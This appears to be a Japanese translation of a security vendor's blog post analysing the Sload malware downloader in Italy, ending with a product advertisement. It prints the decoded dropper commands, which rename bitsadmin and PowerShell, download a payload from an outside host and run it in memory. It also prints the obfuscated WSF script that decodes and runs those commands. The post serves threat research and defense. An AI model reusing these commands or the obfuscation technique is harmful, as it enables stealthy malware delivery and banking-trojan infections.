再び Sload が Europe に上陸し猛威を振る
2021 年 6 月 21 日 Minerva のブログから

近年 Sload（Starload ローダー）はマルウェアの中で最も恐るべきタイプの一つです。通常はダウンローダーとしてペイロードをドロッピングし、機密情報などを窃取していきます。特にヨーロッパへの攻撃が顕著的で 2018 年以来猛威を振るっています。多くのセキュリティベンダーが特に英国とイタリアへの攻撃があったと報告されています。マルウェアの開発者はマシンへ侵入する際に悪意のあるドキュメントを実行する代わりに、Windows の OS にある VBS や PowerShell スクリプトを足掛かりに攻撃を仕掛けました。

ダウンローダーは活動的にアップグレードされています。メインモジュールはほぼ変更はない一方、スクリプトについては持続的に変更されています。このマルウェアについての初期報告では、PowerShell スクリプトをダウンロードさせるために悪意のある LNK ファイル（Windows ショートカット）を利用して Sload を実行させるような仕掛けでした。しかし最近のタイプでは、WSF/VBS スクリプトを難読化しアンチウィルスソフトを回避する仕様へ変更されています。スクリプトは VirusTotal 上でも登場する比率が少なく、それはつまり高級な EDR 製品でも回避するような高度なマルウェアでした。

Minerva は今年になってイタリアで観測された Sload 調査を行い以下のツイッターでも同様の報告がされています。弊社が直面したスクリプトは難読化された WSF スクリプトで悪意の

あるコマンドが 1 セットから成りデコードを開始します。実行されると知らないうちにダウンロードが開始されメモリー上にリモートペイロードが行われます。これは単純な回避テクニックをベースとして高度なマルウェアへ進化していった経緯であることが分かります。スクリプトは正当な Windows バイナリーをリーネイムしました。“bitsadmin.exe” と“Powershell.exe” 両方が複製と改称され“bitsadmin.exe”は悪意のある PowerShell スクリプトをダウンロードさせ、“Powershell.exe”はメモリーインジェクションで実行するという仕様です。

デコードされたコマンド（Minerva 調査チームによるコメント）

```
REM copy bitsadmin to programdata
cmd /c cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe %programdata%\NvVuneH*.exe
REM copy powershell
cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\*ell.exe %programdata%\NvVuneH*.exe
REM download lagos.doc using renamed bitsadmin
%programdata%\NvVuneHin.exe /nowrap /transfer qwDVBSpe https://milanospizzaofavemaria.com[redacted]
REM load and execute lagos.doc using the renamed powershell
%programdata%\lagos.doc%programdata%\NvVuneHell.exe  -c  &( $Ni=gc %programdata%\lagos.doc| Out-String; $Ni |iex  )
```

難読化された WSF スクリプト

```
<package><job id="kNKNa_26"><script language="VBScript">
' Version: 40.43.5
'
' Copyright (c) Microsoft Corporation. All rights reservec
'
' Windows Software Licensing Management Tool.
'
 Set nJwPif=WScript.CreateObject("WScript.Shell")
WhYu="i|i2.LiryZzR`)exehqevksvt)$i|i2ppi.`425z`ppilWvi{sTv
arr=split(WhYu,"dev")
For Each PYwIhE In arr
BmpMJl=""
For intI = 0 to Len(PYwIhE) - 1
BmpMJl=""+chr(Asc(Mid(PYwIhE,intI + 1 ,1 ))+0-4)+BmpMJl
Next
nJwPif.run BmpMJl,false,-1
Next

</script></job></package>
```

このダウンローダーの最終ペイロードは各種多様ですが、Ramnit と Trickbot のバンキングトロイの木馬をドロップすると言われています。両方ともかなり危険なマルウェアでランサムウエア攻撃なども仕掛けてきます。以下は Minerva Armor が Sload とペイロード攻撃を先制防御したイベントです。

Minerva 製品(Minerva Armor)についてのお問い合わせは Pico Technologies (info@pico-t.co.jp)までお願い致します。